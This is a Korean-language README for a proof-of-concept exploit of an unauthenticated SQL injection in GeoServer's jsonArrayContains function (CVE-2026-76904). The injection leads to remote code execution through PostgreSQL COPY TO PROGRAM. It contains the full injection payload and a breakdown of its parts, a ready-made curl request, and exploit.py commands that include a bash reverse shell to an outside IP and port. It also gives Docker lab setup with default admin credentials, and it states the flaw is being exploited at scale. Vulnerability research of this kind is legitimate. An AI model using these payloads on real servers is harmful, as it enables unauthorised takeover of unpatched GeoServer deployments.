
POC | GeoServer 무인증 SQL 인젝션을 통한 완전한 RCE
CVE: CVE-2026-76904 | CVSS: 9.8 (치명적)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
이 취약점은 GeoServer/GeoTools 팀에 의해 GHSA-mqjf-5f49-2fjh로 지정되었으며, 2026년 8월 현재 실제 환경에서 활발히 악용되고 있습니다.
이 취약점은 패치되었지만 매우 최근(1786870173) 것이기 때문에 여전히 웹 전반에서 대규모로 악용되고 있습니다.
2026년 8월 21일 - CVE 식별자 접수: CVE-2026-76904
GeoServer의 jsonArrayContains 함수에서 인증되지 않은 SQL 주입
-> PostgreSQL COPY TO PROGRAM을 통한 원격 코드 실행
GeoServer(특히 GeoTools)의 jsonArrayContains 함수는 PostgreSQL에서 JSON 배열을 쿼리하는 데 사용되며, 치명적인 SQL 주입 취약점을 포함하고 있습니다. 세 번째 매개변수(expected)는 어떠한 정화, 이스케이프, 또는 매개변수 바인딩 없이 SQL 쿼리에 직접 연결됩니다.
구체적으로는 다음과 같습니다.
jsonb_path_exists("column"::jsonb, '$ ? (@.key == "<USER_INPUT>")')
이 취약점은 GeoTools의 FilterToSqlHelper.constructEquality 메서드에서 비롯됩니다.
jsonArrayContains 함수의 세 번째 매개변수(expected)는 이스케이프 없이 String.formatted()를 사용하여 SQL 문자열에 직접 작성됩니다.
Object value = ((LiteralExpressionImpl) expected).getValue();
return "(@.%s == \"%s\")".formatted(jsonPath[lastIndex], value);
이 결함은 새로운 버그가 아니라 CVE-2023-25158(동일한 CVSS 9.8 SQL 주입 취약점)의 회귀(regression)입니다.
새로운 취약점은 GEOT-7589가 PostgreSQL 12+에 대한 jsonb_path_exists 지원을 추가하면서 도입되었습니다.
2023년 패치는 해당 수정 이후에 추가/수정된 jsonArrayContains 함수를 보호하지 못했습니다.
https://github.com/user-attachments/assets/d0913a18-249f-4364-bfe5-959af1660a1d
본질적으로 다음과 같습니다.
jsonArrayContains(data,'/x','y")\'') OR 1=1)) AS gt_injected; COPY (SELECT 1) TO PROGRAM 'COMMAND' --')=true
페이로드 구성 요소 분석:
수동 curl
curl -G "http://127.0.0.1:8080/geoserver/topp/ows" \
--data-urlencode "service=WFS" \
--data-urlencode "version=2.0.0" \
--data-urlencode "request=GetFeature" \
--data-urlencode "typeNames=topp:test_json" \
--data-urlencode "outputFormat=application/json" \
--data-urlencode "CQL_FILTER=jsonArrayContains(data,'/x','y\")\'') OR 1=1)) AS gt_injected; COPY (SELECT 1) TO PROGRAM 'whoami > /tmp/pwned.txt' --')=true"
WFS 2.0 종결 패턴은 mhtsec의 연구에서 차용되었습니다.
curl을 직접 실행하고 싶은 사람은 없겠죠? exploit.py의 사용 방법은 다음과 같습니다.
파일 생성 PoC
python3 exploit.py \
--url http://127.0.0.1:8080/geoserver \
--workspace topp \
--layer test_json \
--column data \
--cmd "echo what\'s up BrOoOoO00????? > /tmp/yonliud.txt" \
--show-payload
RCE PoC
python3 exploit.py \
--url http://127.0.0.1:8080/geoserver \
--workspace topp \
--layer test_json \
--column data \
--cmd "bash -c 'bash -i >& /dev/tcp/172.26.242.223/4444 0>&1'" \
--show-payload
PoC를 빠르게 시작할 수 있도록 간편하게 docker-compose.yml이 제공됩니다.
다음 명령으로 초기화한 후
Docker compose up -d
사용 가능한 REST API를 통해 환경을 설정할 수 있습니다.
curl -X POST "http://127.0.0.1:8080/geoserver/rest/workspaces/topp/datastores" \
-u admin:geoserver \
-H "Content-Type: application/xml" \
-d '<dataStore>
<name>test_json_store</name>
<connectionParameters>
<entry key="host">db</entry>
<entry key="port">5432</entry>
<entry key="database">geoserver_data</entry>
<entry key="user">geoserver</entry>
<entry key="passwd">geoserver</entry>
<entry key="dbtype">postgis</entry>
</connectionParameters>
</dataStore>'
레이어 게시
curl -X POST "http://127.0.0.1:8080/geoserver/rest/workspaces/topp/datastores/test_json_store/featuretypes" \
-u admin:geoserver \
-H "Content-Type: application/xml" \
-d '<featureType>
<name>test_json</name>
<nativeName>test_json</nativeName>
<title>Test JSON Layer</title>
<srs>EPSG:4326</srs>
</featureType>'
이 저장소는 GeoServer ;jsonArrayContains; 제로데이 SQL 주입 RCE 취약점에 대한 독립적인 개념 증명(PoC) 익스플로잇을 포함합니다. 이 취약점은 원래 秋风(@q1uf3ng)에 의해 발견 및 공개되었습니다. 익스플로잇 체인은 통제된 실습 환경에서 재현 및 검증되었습니다.
이 프로젝트는 승인된 보안 연구, 교육, 그리고 격리된 실험실 환경에서의 테스트만을 위한 것입니다.
소유자의 명시적 승인 없이 시스템, 네트워크 또는 데이터에 이 소프트웨어를 사용하지 마십시오. 모든 관련 법률을 준수하고 이 프로젝트 사용으로 인해 발생하는 모든 결과에 대한 책임은 전적으로 사용자에게 있습니다.
저자 YonLiud는 이 프로젝트를 어떠한 종류의 보증 없이 "있는 그대로" 제공하며, 이 소프트웨어 또는 파생 저작물로 인해 발생하는 손상, 데이터 손실, 서비스 중단, 무단 액세스 또는 기타 오용에 대해 책임을 지지 않습니다.
이 프로젝트를 사용함으로써 귀하는 이러한 조건을 인정하고 수락하는 것입니다.
| 구성 요소 | 용도 |
|---|
jsonArrayContains(data,'/x','y")\'') | 조작된 세 번째 매개변수로 함수 호출 |
OR 1=1)) | JSON 경로 및 함수 호출 종료 |
AS gt_injected; | 파생 테이블에 별칭 지정 |
COPY (SELECT 1) TO PROGRAM 'COMMAND' | PostgreSQL RCE 명령 |
--')=true | 나머지 SQL을 주석 처리 |